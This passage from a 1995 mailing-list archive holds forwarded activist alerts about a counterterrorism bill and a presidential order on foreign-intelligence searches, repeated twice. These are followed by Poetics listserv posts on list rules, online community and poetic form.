* The new federal crime: international terrorism doesn't cover anything that is not already a crime. As the Center for National Security Studies notes: "Since the new offense does not cover anything that is not already a crime, the main purpose of the proposal seems to be to avoid certain constitutional and statutory protections that would otherwise apply."

* While many provisions of this bill could well be found
unconstitutional after years of litigation, in the mean time the
damage could be enormous to the First Amendment and other
constitutional rights including presumption of innocence and right
to bail.

THE BILL HAS BEEN REFERRED TO JUDICIARY COMMITTEES OF EACH HOUSE. ONLY THE NEW YORK TIMES HAS AS YET NOTICED THE BILL - A 2/24/95 ANTHONY LEWIS COLUMN. OTHER PAPERS SHOULD BE ALERTED.

FOR MORE INFORMATION:

Kit Gage, Washington Liaison, National Lawyers Guild
3321-12th St., NE, Washington DC 20017 [redacted], fax
[redacted], e-mail: [redacted]

Part II: Presidential Order (February 9, 1995!!!)

Date: Fri, 3 Mar 1995 00:43:53 -0600 (CST)
From: Brad Parsons <[redacted]>
To: [redacted]
Subject: Clinton Exec.Order-Warrantless Searches

This apparently includes warrantless searches of online machine-readable info. of U.S. citizens in the U.S.

---------- Forwarded message ----------
Date: Sat, 11 Feb 95 05:06 EST
From: Dr. Linda D. Thompson, American Justice Federation <[redacted]>

********** ALERT ALERT **********

WARRENTLESS SEARCHES CAN NOW BE APPROVED BY FREEH, RENO, DOD, ET. AL. AND CONDUCTED BY ANY FED AGENCY. DUE TO THE CRIME BILL, THE FED AGENCIES ARE NOW ALL OPERATING IN CONSOLIDATED "TASK FORCES."

THIS EXECUTIVE ORDER ***SPECIFICALLY*** APPLIES TO ANYONE USING
COMPUTER COMMUNICATIONS TO GATHER/SPREAD INFORMATION
(SEE THE UNDERLYING LAW AT 50 USC 1801.)

THE WHITE HOUSE
Office of the Press Secretary

For Immediate Release February 9, 1995

EXECUTIVE ORDER
- - - - - - -
FOREIGN INTELLIGENCE PHYSICAL SEARCHES

By the authority vested in me as President by the Constitution and the laws of the United States, including sections 302 and 303 of the Foreign Intelligence Surveillance Act of 1978 ("Act") (50 U.S.C. 1801, et seq.), as amended by Public Law 103- 359, and in order to provide for the authorization of physical searches

for foreign intelligence purposes as set forth in the Act, it is hereby ordered as follows:

Section 1. Pursuant to section 302(a)(1) of the Act, the Attorney General is authorized to approve physical searches, without a court order, to acquire foreign intelligence information for periods of up to one year, if the Attorney General makes the certifications required by that section.

Sec. 2. Pursuant to section 302(b) of the Act, the Attorney General is authorized to approve applications to the Foreign Intelligence Surveillance Court under section 303 of the Act to obtain orders for physical searches for the purpose of collecting foreign intelligence information.

Sec. 3. Pursuant to section 303(a)(7) of the Act, the following officials, each of whom is employed in the area of national security or defense, is designated to make the certifications required by section 303(a)(7) of the Act in support of applications to conduct physical searches:

(a) Secretary of State;

(b) Secretary of Defense;

(c) Director of Central Intelligence;

(d) Director of the Federal Bureau of Investigation;

(e) Deputy Secretary of State;

(f) Deputy Secretary of Defense; and

(g) Deputy Director of Central Intelligence.

None of the above officials, nor anyone officially acting in that capacity, may exercise the authority to make the above certifications, unless that official has been appointed by the President, by and with the advice and consent of the Senate.

WILLIAM J. CLINTON

THE WHITE HOUSE,
February 9, 1995.

---------- RFC822 Header Follows ----------
09:40:17 -0500
with SMTP id AA03692
(InterLock SMTP Gateway 3.0 for <[redacted]>);
Fri, 3 Mar 1995 09:41:04 -0600
id AA09940; Fri, 3 Mar 95 09:40:51 CST

Date: Fri, 3 Mar 95 09:40:51 CST
From: [redacted] (Harry M. Cleaver)
To: "Robert A Harrison" <[redacted]>
Subject: Pending Law and Pres.Order Threaten Our Work

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Subject: New FBI Charter to Investigate Political Groups
Date: 2 Mar 1995 17:58:41 GMT

The following was posted on Peacenet and should be of paramount concern to all activists - it looks like action needs to be taken on this bill quickly. Apologies if this has already been posted here. Please forward near and wide.

Omnibus Counterterrorism Bill
S. 390 and H.R. 896

New FBI Charter to Investigate Political Groups

February 10, 1995 the Omnibus Counterterrorism Bill was introduced as S. 390 into the Senate and as H.R. 896 in the House. It was initiated by the FBI, and passed on by the Justice Department and the White House. Senators Biden (D-DE) and Specter (R- PA) initiated it in the Senate, Rep. Schumer (D-NY) and Dicks (D-WA) in the House. It has bipartisan support and could get expedited action.

SUMMARY
* THIS IS A GENERAL CHARTER FOR THE FBI AND OTHER AGENCIES, INCLUDING THE MILITARY, TO INVESTIGATE POLITICAL GROUPS AND CAUSES AT WILL. The bill is a wide-ranging federalization of different kinds of actions applying to both citizens and non-citizens. The range includes acts of violence (attempts, threats and conspiracies) as well as giving funds for humanitarian, legal activity.

* It would allow up to 10 year sentences for citizens and deportation for permanent resident non-citizens for the "crime" of supporting the lawful activities of an organization the President declares to be "terrorist", as the African National Congress, FMLN in El Salvador, IRA in Northern Ireland, and PLO have been labelled. It broadens the definition of terrorism. The President's determination of who is a terrorist is unappealable, and specifically can include groups regardless of any legitimate activity they might pursue.

* It authorizes secret trials fo
r immigrants who are not charged
with a crime but rather who are accused of supporting lawful activity by organizations which have also been accused of committing illegal acts. Immigrants could be deported: 1) using evidence they or their lawyers would never see, 2) in secret proceedings 3) with one sided appeals 4) using illegally obtained evidence.

* It suspends posse comitatus - allowing the use of the military to aid the police regardless of other laws.

* It reverses the presumption of innocence - the accused is presumed ineligible for bail and can be detained until trial.

* It loosens the rules for wiretaps. It would prohibit probation as a punishment under the act - even for minor nonviolent offenses.

IMPLICATIONS * Those who remember the McCarran Walter Act will recognize this bill, only in some ways this is broader and potentially more dangerous

* This bill is highly political: the President can determine who is a terrorist and change his/her mind at will and even for economic reasons. The breadth of its coverage would make it impossible for the government to prosecute all assistance to groups around the world that have made or threatened to commit violent acts of any sort. Necessarily its choices would be targeted at organizations the government found currently offensive. People to be deported would be chosen specifically because of their political associations and beliefs.

* The new federal crime: international terrorism doesn't cover anything that is not already a crime. As the Center for National Security Studies notes: "Since the new offense does not cover anything that is not already a crime, the main purpose of the proposal seems to be to avoid certain constitutional and statutory protections that would otherwise apply."

* While many provisions of this bill could well be found unconstitutional after years of litigation, in the mean time the damage could be enormous to the First Amendment and other constitutional rights including presumption of innocence and right to bail.

THE BILL HAS BEEN REFERRED TO JUDICIARY COMMITTEES OF EACH HOUSE. ONLY THE NEW YORK TIMES HAS AS YET NOTICED THE BILL - A 2/24/95 ANTHONY LEWIS COLUMN. OTHER PAPERS SHOULD BE ALERTED.

FOR MORE INFORMATION:

> Kit Gage, Washington Liaison, National Lawyers Guild
> 3321-12th St., NE, Washington DC 20017 [redacted], fax
> [redacted], e-mail: [redacted]

Part II: Presidential Order (February 9, 1995!!!)

Date: Fri, 3 Mar 1995 00:43:53 -0600 (CST)
From: Brad Parsons <[redacted]>
To: [redacted]
Subject: Clinton Exec.Order-Warrantless Searches

This apparently includes warrantless searches of online machine-readable info. of U.S. citizens in the U.S.

---------- Forwarded message ----------
Date: Sat, 11 Feb 95 05:06 EST
From: Dr. Linda D. Thompson, American Justice Federation <[redacted]>

********** ALERT ALERT **********

WARRENTLESS SEARCHES CAN NOW BE APPROVED BY FREEH, RENO, DOD, ET. AL. AND CONDUCTED BY ANY FED AGENCY. DUE TO THE CRIME

BILL, THE FED AGENCIES ARE NOW ALL OPERATING IN CONSOLIDATED "TASK FORCES."

THIS EXECUTIVE ORDER ***SPECIFICALLY*** APPLIES TO ANYONE USING
COMPUTER COMMUNICATIONS TO GATHER/SPREAD INFORMATION
(SEE THE UNDERLYING LAW AT 50 USC 1801.)

THE WHITE HOUSE
Office of the Press Secretary

For Immediate Release February 9, 1995

EXECUTIVE ORDER
- - - - - - -
FOREIGN INTELLIGENCE PHYSICAL SEARCHES

By the authority vested in me as President by the Constitution and the laws of the United States, including sections 302 and 303 of the Foreign Intelligence Surveillance Act of 1978 ("Act") (50 U.S.C. 1801, et seq.), as amended by Public Law 103- 359, and in order to provide for the authorization of physical searches for foreign intelligence purposes as set forth in the Act, it is hereby ordered as follows:

Section 1. Pursuant to section 302(a)(1) of the Act, the Attorney General is authorized to approve physical searches, without a court order, to acquire foreign intelligence information for periods of up to one year, if the Attorney General makes the certifications required by that section.

Sec. 2. Pursuant to section 302(b) of the Act, the Attorney General is authorized to approve applications to the Foreign Intelligence Surveillance Court under section 303 of the Act to obtain orders for physical searches for the purpose of collecting foreign intelligence information.

Sec. 3. Pursuant to section 303(a)(7) of the Act, the following officials, each of whom is employed in the area of national security or defense, is designated to make the certifications required by section 303(a)(7) of the Act in support of applications to conduct physical searches:

(a) Secretary of State;

(b) Secretary of Defense;

(c) Director of Central Intelligence;

(d) Director of the Federal Bureau of Investigation;

(e) Deputy Secretary of State;

(f) Deputy Secretary of Defense; and

(g) Deputy Director of Central Intelligence.

None of the above officials, nor anyone officially acting in that capacity, may exercise the authority to make the above certifications, unless that official has been appointed by the President, by and with the advice and consent of the Senate.

WILLIAM J. CLINTON

THE WHITE HOUSE,
February 9, 1995.

---------- RFC822 Header Follows ----------
09:40:17 -0500
with SMTP id AA03692
(InterLock SMTP Gateway 3.0 for <[redacted]>);
Fri, 3 Mar 1995 09:41:04 -0600
id AA09940; Fri, 3 Mar 95 09:40:51 CST
Date: Fri, 3 Mar 95 09:40:51 CST
From: [redacted] (Harry M. Cleaver)
To: "Robert A Harrison" <[redacted]>
Subject: Pending Law and Pres.Order Threaten Our Work

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54. Charles Bernstein
The List Itself
Fri 3 Mar 1995

The List Itself

1. I appreciate discussions of the format of this discussion group, since many of the subscribers to Poetics receive the posts in different personal circumstance (at home, at the office); with different automatic formatting (headings, directories); and with different software (facilitating up and downloading, or making it impossible). Insofar as possible, I would hope the list might be able to conform to the specific needs of the participants. But I have limited knowledge of the listserve program that determines some of the choices available.

2. Please note that if your e-mail server is down, or if your personal mailbox is full, and a Poetics message gets bounced, you will be automatically unsubscribed from the Poetics listserve. When your system comes back on line or you have cleared your back messages, just subscribe anew. It should be easy

enough to tell if you subscription has been "auto-deleted": a day will pass with no Poetics posts!

3. The DIGEST option is working and that is clearly useful for those who want all the Poetics messages from one day sent as one single e-mail post, or for those whose systems set limits on individual messages. (To get DIGEST, send a one-line message with no subject line to [redacted]: set poetics digest; to remove digest send a message that says: set poetics mail.) I have no control over the format of the DIGEST: the listserve program generates the daily digests automatically. If you use the reply option to respond to a message sent in the Digest, the subject line will be the Digest subject head; if possible, send such a message direct to Poetics so that you can write the subject line yourself.

4. To some extent, the Digest option resolves the problem for those for whom the volume of messages is difficult to handle. My commitment is to keep this space open and unregulated -- indeed, I suspect it is the unregulated aspect of the listserve format that is particularly appealing for a list like Poetics. There are no circumstances under which I would consider formally "moderating" this list; though this is an option for other lists because the listserve program makes it possible for messages to be sent to the listowner _before_ they are distributed. In any case, rest anxious, "moderation" has never been considered here at [redacted]!

5. I am interested in continuing to explore what formats and styles of posting encourage, rather than simply allow, participation in this "virtual uncommunity". The volume of messages is certainly a useful measure of list activity; but volume itself may be an obstacle for some to participate, just as it may encourage others. Who subscribes is a crucial element: both subscriptions and posting on Poetics are unrestricted, which allows participants to subscribe and unsubscribe themselves at will. When people send me inquiries about the list, I send them the "welcome" message and, generally, ask them to subscribe themselves. The list remains "private", which means that our address will not be found in Guides to the Internet; word-of- mouth (or word-of-net?) seems a better way of including individuals who have a commitment to our multiple areas of investigation. I believe that without some sense of limit, albeit constructed in process, the always fragile sense of intimacy or relatedness that fosters some forms of conversation can easily be lost. But then again, maybe I am resisting the sheer magnitude of the net, as if an imaginary seawall can ever hold back the sea? In any case, different lists and bulletin boards and newsgroups will approach the limits of participation in different ways; no one list can possibly embody all the possibilities. Even as it gets bigger, I still think of this list as "small-scale".

6. As listowner, I spend a certain amount of time dealing with list maintenance. That remains my primary commitment here, even when it prevents me, given drastically limited time, from participating in other ways. There are many posts that I would like to respond to, but to which I am only able to compose responses in my head. I suspect this is true many participants, for several different reasons. I am particularly conscious of this when someone notes a lack of response to their post: I want to call out that it wasn't lack of interest but lack of time!; and I know this is a common feeling.

7. I think of the listserve as a distinct medium, but what characterizes this medium? My question is partly, what does this medium make possible that is not possible in other language media? Cris Cheek and Kali Tal have both offered elucidating descriptions of the medium as improvisatory and I suspect that their thoughts on the matter come close to answering my questions. But just as TV was filled with content from older media, such as movies, so listserves will also be filled with older genres: letters, essays, catalogs, etc. I have found it difficult to leap into the specifically listserve space, and my own contributions, like a number of others, have tended to be composed offline and over fairly long periods of time. I hope that those like me who are still squeamish about the immediacy of this space will participate in less immediate, but no less performative or theatrical, modes: for a theatrical space like this can also be used in refractory and constructed manners.

******8. Amidst the discussion, I want to reiterate the value of information postings by presses and magazines. Full catalogs of small press publishers are always welcome and will be separately listed at the Electronic Poetry Center site. Please also send notices of new books or magazine issues! Individuals are also encouraged to send information on their own new books or other publications. Recommended reading, with ordering information, is also welcome. **********

9. The Poetics list was started in January 1994. Since then there have been over 1600 posts. As of today, there are 192 subscribers to Poetics. I thought some of you might like to see a copy of a post I made one year ago. It's called "Hermits Crabs Don't Cry." I will send it as a separate post following this.

--Charles Bernstein

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55. Charles Bernstein

Hermit Crabs Don't Cry (Annals of Poetics 3/5/94)

Fri 3 Mar 1995

HERMIT CRABS DON'T CRY

On one of my frequent trips to the Folded Place
inside the Ethernet's Thirteenth Passage,
with the new translation into Idiophone
of Moses Maimonides's Guide for the Perplexed
in my left hand, I had occasion to jot
down some rules of conduct (not so much
community standards as uncommunity striations)
into my Blake's Newton Feelpad (TM pending)
(a pad is after all a kind of home,
or used to be). The Feelpad, as many
of you will know (and I use the word "you"
carelessly), is able to convert inner feeling
processes into linguistic signs. The
protocols of the Blake's Newton Feelpad
do not allow me to review the file before
downloading directly onto your screens
(and I also use the word "your" carelessly):

All of these proposed Listserve Rules
will be enforced through a fully automated
new version of the Youngman Listserve Program
(Henney 33.95). As I am sure you will agree
(and I use "you" loosely), Total Automation
of rule enforcement is the only way to ensure
fair and impartial Rule Maintenance:

1. Postings on [redacted] shall be
neither in prose or verse. Rather,
all postings shall conform to shifting
character/line formats, announced
periodically on the list. Initially,
lines shall have at least 43 and no more
than 51 characters; hyphenation is
discouraged.

2. No messages shall be posted between
:43 and :52 minutes after the hour.

3. All postings shall be made from
"Dos"-type platforms; Apple users
may post from "IBM"-type computers
but the graphic orientation of
Macs make these environments
inappropriate for Poetics postings.

4. You have to sound 30 or show ID.

5. On the third Friday of every month, only short
"chat" messages to friends on the list may be posted.
For those without, or who no longer have, friends
on the list, a message service will be available
to provide names of friends as well as appropriate
messages.

6. The Listowner will provide a name
purging service to permit anonymous
postings. Purged names will remain
strictly confidential, although, at
the Listowner's discretion, they may be
sold, on condition of continued
confidentiality, to benefit the outreach
services at [redacted] provided
by Whitewater Development Company.

7. Subscribers to [redacted] agree to
end all "back channel" communication. All
communication among subscribers shall be
sent to the list as a whole: no individual
e-mail or conventional mail may be
exchanged, no face-to-face verbal
communications will be permitted
(nonverbal communication is in no
way restricted by this rule).
At first, this may be difficult
for those who live in the same area.
But, over time, the enormous advantages
to community-building will become
apparent.

8. In order to cut down on those repulsive
smile icons that are used on Other Lists
to indicate humorous intent (as we used
to say in Method Acting class -- DON'T
INDICATE) [Remember the one about the actor who
asked the director what his motivation was to
walk across the set and light a cigarette, to
which the director replied, "your motivation is,
that if you don't, you'll be fired"?] --
where was I? even when I write I lose track

of where I am -- oh yeah,
in order to cut down on those smile icons,
and for other reasons that should be
obvious to all of you (I use the word
"you" inadvisedly), all irony
(including sarcasm, schtick,
mocking, jokes, and comic innuendo)
will be prohibited from the list.
This is a particularly difficult rule
to enforce automatically, but recent,
unpublishable, research, indicates
that there may be genetic markers of
sarcasm and our team of crack(ed?) computer
experts are working around the clock
to find programs to detect this "irony
gene" in linguistic expression.

>FINALLY<
For those who have asked that this
listspace move toward *reality* rather than
float in talky virtuality, the following rule
implementation procedure will be adopted:

If there is significant sentiment on the
list in favor of these rules, they will
not be adopted; if, in contrast, there
is strong opposition to these rules,
they will become effective immediately.

In addition, to bring even more reality
into the system, between three and five
Listserve Rules will remain concealed
from all subscribers AND about one percent
of all messages will be randomly deleted
before delivery.

******
PS

Our public relations team at Hungadunga,
Hungadunga, and McCormack is currently considering
two campaigns. They will be making their
decision in the next few weeks:

[redacted] -- we're taking the unity
out of community! Unsubscribe today!

or

Not getting enough community at home?
Subscribe to [redacted].

Yours in virtuality,

C * h * a * r * l * e * s

B * e * r * n * s * t * e * i * n

[originally posted to Poetics 3/5/94]

(rest area)

--Boundary (ID aXbsCtXW+EAcNXFasdGCGw)--

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56. Sheila Murphy
Form As Discussion Point
Fri 3 Mar 1995

I would be interested to know (lurking taken to a deeper level?) what kinds of things various people on this list think about relative to form (or not) when you are in the "thinking about" stage of creating a text. Or, when you are making something, at what point form entered the picture. I guess I'm asking for some seminarish exploration with you, your work (whoever you are out there) as the subject. This is just an open question, not a "guess what I'm thinking" game of any kind. It would seem there are multiple possibilities. As with so many things, there are seemingly infinite ways to do this right. But that's not the point anyway.

Eager to hear.

Sheila Murphy

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57. Alan Sondheim
Re: Form As Discussion Point
Fri 3 Mar 1995

Almost all my current writing is completed on the Internet, published and distributed on the Internet; hard-copy, magazines, etc. are secondary. So I am aware always of the form of email itself - the reading environment, the nature of the headers, the attention-span of readers, and in particular, the very _appearance_ of ascii text and its "scroll." (I tend to write about "scroll" itself as a form of vision, envisioning. So for me, the text exists in a mobile field, a field

of movement, and I have seen film-scripts on the Net that in fact take advantage of this.

Beyond that, there is a sense of ransacking traditional literature and its values, in a manner consistent with my notions of dissolution. And there is always a sense that my work is archived at a web site and elsewhere, and how the individual components string together.

Finally, I've learned enough about the TCP/IP protocols to understand _how_ transmission occurs, what battles are being fought in the protocol suite itself, and among its designers. And that affects the surface content as well.

Alan

On Fri, 3 Mar 1995, Sheila Murphy wrote:

> *I would be interested to know (lurking taken to a deeper level?) what kinds of things various people on this list think about relative to form (or not) when you are in the "thinking about" stage of creating a text. Or, when you are making something, at what point form entered the picture. I guess I'm asking for some seminarish exploration with you, your work (whoever you are out there) as the subject. This is just an open question, not a "guess what I'm thinking" game of any kind. It would seem there are multiple possibilities. As with so many things, there are seemingly infinite ways to do this right. But that's not the point anyway.*
>
> *Eager to hear.*
>
> *Sheila Murphy*

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58. Sheila Murphy
COMMUNITY/LURKING
Fri 3 Mar 1995

Gary, I hope that you DON'T shut up. Keep those posts coming. You contribute to the vibrancy of the list.

I am interested in several people's comments about community. I think that I've found in the postal system for many years a vehicle for community. Or of creating intimacies (several micro-communities). I know a number of writers in Arizona and care very much for a number of friends in what might be called a community. But the way I've always functioned is to commune a bit more directly on paper or one-on-one in the mails with certain people in the writing world (whatever one would call it) than I do face-to-face with people who are geographically near. And both kinds of relating are wonderful in their way. Now, with the net (funny word; in addition to conjuring up webbed-ness, it

seems to suggest catching, as in fish or butterflies), there's a different way (some might say better, but certainly quicker, whatever your position on that point) to commune.

Maybe one of the things I'm leading to or discovering as I tap is that community can't be pushed, although a number of things are catalytic to creating it. For example, projects. Projects are the most wonderful catalysts. Certain people function that way, too. But, again, it sort of happens.

I don't quite know what to make of the discussion about Minnesota, so I'm not sure I would ever presume to be of direct help. Mostly, the message might be, though, that certain (sequences of) projects will shape into the community they desire (even if ad hoc) very quickly. Projects that people care about deeply. Once again, not unlike the world of earnings.

In Phoenix, we are known for not having a very strong poetry community, but we surely have a number of poets. And a number of people know one another very well. Personally, I'm quite satisfied with what we have, as I sort of like having the freedom to work on my own, but then to have a positive spirit among a number of people whom I've known and cared about for years. I guess that some definitions are necessarily quite demanding, even unrealistic.

Enough for one sitting.

Sheila

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59. Blair Seagram

Re: DIGEST option: how to get less messages

Sat 4 Mar 1995

[redacted]

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60. Chris Stroffolino

Re: Form As Discussion Point

Sat 4 Mar 1995

At the risk of being accused of being "wishy washy" (or "worse," "Derridean,") I begin in what may seem like a "middle" (of undifferentiated nothingness) in response to Sheila Murphy's thought provoking "open question" of the "'thinking about' stage of creating a text... (and the idea that..."the seeming inifinite ways to do THIS right" is "not the point." The question of what one considers "better" writing, "publishable" is related to the question of "getting lost in the writing" and the question of being

suprised by one's "own" writing, of trying to avoid paralyzing self-consciousness, of the desire "to get all of life in the text" and keeping attentive and not getting carried away on romantic pipedreams that may be the kind of distractions that are necessary for the piece of writing to seem to "take off" as it were (though there must be a pre-airplane way of saying that)...and the question of POLITICAL RESPONSIBILITY in the writing act, of editing out the POLITICALLY IRRESPONSIBLE points, as if you in "recollections of tranquility" you actually know what is politically responsible... and the question of various discourses, of the text explaining itself, of the THEME AS THE THING, and the whole socio-historical allegory of text circulation as if composition is explanation...Not all of these things always matter, but the question of "theory" and "practice" can be expressed "poetically" as easily as "theoretically" and so evey every debate is also a "meta-debate" and maybe is only a meta-debate in an anti-essentialist world in which "having bodyguards but no bodies" (Perelman) is an attractive metaphor, just like Shakespeare's "putrified core"--Anyway, this ties in with ALAN SONDHEIM'S assertion that there is IN HIS WORK "a sense of ransacking traditional literature and values, in a manner consistant with (his) notion of dissocation"--But what ARE these "traditional literatures and values"? The WESTERN CANON is not set in stone as purely aestheticized...What I thought I once wanted to subvert is not necessarily "traditional literature" but "traditional criticism" that has lent "respectibility" and aesthetical-object status to certain writings by misreading it in such a way as to make one want to turn to the "avant-garde" (studd not taught in schools, the whole "auto-didact" cult from which I learned much---correction "studd" is "stuff"), to make one want to turn to a mere inversion of "traditional" values, an inversion that is no better than the so-called "tradition"-- In fact, one could say the "tradition" NEEDS THE ANTI-TRADITIONAL to prop itself up...and this binary view of culture is only interesting as a starting point one may return to again and again on the level of seeming, though of course you'll be accused of being some mere spinning your wheels ORC-CYCLE maya/karma being by those who seem to stand so completely in some "desolation row" of visionary rhetoric they put all their emotions in the PAST--this, too, is an interesting "rhetorical strategy" and may reach a point in which it becomes more, or at least OTHER, than a "rhetorical strategy"--but whether or not this POINT is THE POINT OF NO RETURN is a question i leave to anyone who wishes to take it up...Chris Stroffolino

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61. cris cheek
Community / Influence
Sat 4 Mar 1995

Briefly to Mark, Sheila, Gary, Charles, Kali, Eric and others re Community and Spheres of Influence.

This is a community in formational flux. What's workable is who's here now rather than necessarily who those people who are here presently reference. This community will or rather might inconsiderately replicate its existing character preferences unless its behaviour positively embraces both its own and others diversity. Learning ways to be welcoming - to find the touch that's otherwise too carefully thought out from this e-space, bristled and defensive. It's they who fear who feel the need to attack. Challenge is not necessarily struggle. Struggle can too easily become binary dogma. What's present can all too easily become resent.

Our (unpack baggage) behaviour (unpack baggage) or tone can (what is a tone can?) too easily (unpack baggage) disperse (unpack baggage) or repel (unpack baggage) that community (unpack baggage) which we (unpack baggage) imagine (unpack baggage) we (deconstruct unpacked baggage) could (post to Utopia) be (and tell Zeno it explains everything and so tells us nothing (unpack baggage)).

and scroll

cris

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62. Steven Howard Shoemaker
caught in the Net?
Sat 4 Mar 1995

Reading over my recent posting on e-space, i see that i typed "police" for "polis." I guess that wld be a Foucaultian slip.

steve shoemaker

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63. cris cheek
Re: form and content
Sat 4 Mar 1995

xf ox xr mx a n d tx xh ex xo rx xy

p o e t r y a n d c o n t e n t

i t ' s n o t i n t e n d e d

c r i s

↑ Index

64. cris cheek

CALL: Sound and Language RE: - Submissions

Sat 4 Mar 1995

I'm editing (and got the money to do) a series
of 5 books (each about 70pp and featuring between
3 - 6 writers) which are going to be
produced by Sound & Language from May/June this year.

The issue is to cast the most provocative net into:

- writing either made for performance
- or developed / constructed through performance
- or directly related to performance

Some notes and photographic documentation (b/w I'm afraid)
will be included.
Get in touch direct with me if you've got something that
might open that net.
To give some idea I'm already on the case (and have some
work) by some of the following with more coming:

Carla Harryman, Jean Binta Breeze, Aaron Williamson, Fiona Templeton, Gary Stevens, Forced Entertainment, Brian Catling, Steve Benson, Caroline Bergval, Deborah Levy, Fiona Wright Nancy O'Reilly, Charles Stein, Jackson MacLow, Guillermo Gomez Pena David Antin and many others

I'd welcome any leads if it's not your own particular.

I'm keen to present work from across art-forms and so by artists making challenging writing but who aren't primarily known as writers. Multi-voice texts - dark-side monologues - documentation of improvisation / compositions - texts from videos / installations 'performance poems' - photographic poems - explorations of the book as a site (for performance)

It's taking shape now and over the coming months.
Issues 1 and 2 will be available by mid-summer.
The whole project is hoped to be over within 18 months
and there's a potential development into (groan) anthology
or just collecting it all into a pleated reprint.

Please get in touch with any suggestions / submissions / questions,

and Please pass this on if appropriate

best wishes
cris

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65. Gary Sullivan
e-community
Sat 4 Mar 1995

Cris, your well-stated post re: community dragged me out of lurkdom to respond.

>This is a community in formational flux.
Definitely.

>What's workable is who's here now rather than necessarily who those people who are here presently reference.
I exist by virtue of my mother and father; therefore, my existence references them. To deny their existence is to deny my own.

>This community will or rather might inconsiderately replicate its existing character preferences unless its behavior positively embraces both its own and others['] diversity.
Agree.

>Learning ways to be welcoming - to find the touch that's otherwise too carefully thought out from this e-space, bristled and defensive.
Agree, though time and thought unbristle, too.

>It's they who fear who feel the need to attack.
Not always. Fear stifles more than it incites. Attackers are more often angry than fearful. & some anger is justified.

>Challenge is not necessarily struggle.
Not until it's resisted.

>Struggle can too easily become binary dogma.
A single, unchallenged dogma can just as easily become fascism.

>What's present can all too easily become resent.
Resentment is a response to lack, as well as surfeit. What's not present might just as easily foster resentment.

>Our (unpack baggage) behaviour (unpack baggage) or tone can (what is a tone can?) too easily (unpack baggage) disperse (unpack baggage) or repel (unpack baggage) that community (unpack baggage) which we (unpack baggage) imagine (unpack baggage) we (deconstruct unpacked baggage) could

(post to Utopia) be (and tell Zeno it explains everything and so tells us nothing (unpack baggage)).

> Our (deny feelings) behavior (stuff shirt) or tone might (tone + might = ?) also incite discourse (spray armpits with chemicals) which might ("Let the machine get it, honey") give rise to (repeat to remove accent) greater understanding (send paranoid message backchannel) of who we (tell Diogenes you can't debase debased coinage) are (strike "genuine desire to positively change things" and insert "negativity"; stamp folder "miscreant"; file under "mudslinging"; close drawer; open mind; insert air freshener; close mind).

Those caveats aired, I do agree, and appreciate your post.

Sincerely,

Gary

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66. cris cheek
e-community
Sun 5 Mar 1995

Gary, thanks for responding and thanks for qualifying some of my over-simplistics, necessary business.

Please Don't Lurk (sounds like it should be a pop refrain).

Yes, Denial or rejection of the past are 'classic' fascist characteristics. There are also the boorish Buff type impositional tyrannies of competitive knowledge and the denial of the present through continual deflection. A kind of unfocussed peevishness, sometimes at becoming oneself misunderstood. It's been read that way and that's my shoddy peripherality. And Between - My States of Attention. But then this country is a capital of the heartlands of denial.

A six year old boy just came into the house with the figure of a man who transforms into a rock.

respect
cris

p.s. I'd like to suggest that 'lurking' be valued as a positive rather than a negative aspect. But it can go so cold it freezes. Certainly attention focussed onto activating and facilitating rather than dominating and controlling 'conversation'.

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67. braman sandra
Community
Sun 5 Mar 1995

I get a little nervous with extensive discussions about formation of community, actually, for it often seems to take the place of engaging in the activities in the doing of which we become one...

There are of course cultural aspects to the net community thing, as elsewhere. Native Americans (who are seeking sovereignty in cyberspace as well as in material space), for example, are concerned about the clash between net culture and their own. In most Native American societies, the most important people are those who are silent in public and sit at the back of the room, while it is the younger and less influential folks who make the noise. Obviously, this would be problematic in the effort to sustain their culture within the net. (There are many examples, actually, of the use of new information technologies in the sustenance of traditional cultural forms, but there are other examples, as well, where this is problematic.)

About four years ago, after attending a string of 7 conferences from Moscow in the former USSR through eastern and western Europe and Eastern and Middle US (winding up in Urbana), I was quite struck by the difference in terms and conceptualizations used to talk about what were often the very same matters facing the formation of communication policy. In the former Warsaw Pact countries, there is great and explicit concern about the possibility of civil society; in Western Europe, concern over the sustenance of the public in a time when media were becoming privatized; in the US, it's all audience and, as individuals, we've moved from citizens to consumers. In the case of this list, from my perspective, one of the things that makes it a community is a sense of shared substance, including sharing with those who may not be speaking much. Silence and listening are the undervalued communications practices of our time....

Sandra Braman

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68. Thomas Bell
Re: e-community
Sun 5 Mar 1995

[DThis may well belong under _boys, but also fits here I think:

"Few men understand how important femininity is in their
lives, both inner and outer. Almost all of a man's sense
of value, worth, safety, joy, contentment, belongingness,

and happiness derive from his inner feminine nature.....Men, in their arrogance, generally think it is their strength, possessions, and dominations that bring them happiness. But it is not so. Happiness is feminine in a man, a feeling quality, and generally mysterious to him" (pp. 4-5. _Lying with the heavenly woman_, Robert Johnson)

--Thomas Bell [redacted]

NOTE: (I suspect that this might have been posted by a lurking female posing here as a male, or...

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69. Joe Amato
Re: Community
Sun 5 Mar 1995

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sandra and others: i recently had the pleasure of reading a dissertation that brings theories of complex systems to bear on the composition process, via three case studies, to yield "ecologies of composition"... the diss. is by margaret a. syverson, entitled "the wealth of reality: an ecology of composition" (university of california at san diego, 1994)... i believe it to be a brilliant work, one that provides a much richer account of reading, writing and textuality than i've seen to date within the composition field per se (and whatever local reservations i might have)...

i find this pertinent to the discussion hereabouts for two (general) reasons: one, that the first of syverson's case studies consists of examining the various factors surrouding the writing/revision/publication of charles reznikoff's "early history of a writer"; and two, that the last of syverson's case studies consists of a discourse-analysis-based account of conflict that emerged in an electronic forum during the gulf war... in short, i found the theoretical claims made by syverson to jibe well with my own sense of how complex writing and reading and corresponding in fact are... whether the model, if you will, that she employs is found by some in these parts to be a bit restrictive (or reductive) is less to the point, i think, than that there *does* in fact exist theoretical speculation, if you will, that attempts at least to advance in methodological terms a view of process that perhaps, just perhaps poet s too may find useful/enlightening...

anyway, if any of you do manage to have a look-c, i'd be much interested in what you think...

in any case, i don't believe folks in the humanities should resist ipso facto empirical claims, and i do believe that 'we' have something vital to add to more

methodologically-centered fields... and that 'we' includes poets, i'm trying not to speak solely as what i in fact am in part---an academic...

joe

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70. Gary Sullivan
Form, etc.
Sun 5 Mar 1995

Sandra Braman, Sheila Murphy, Mark Wallace, & all

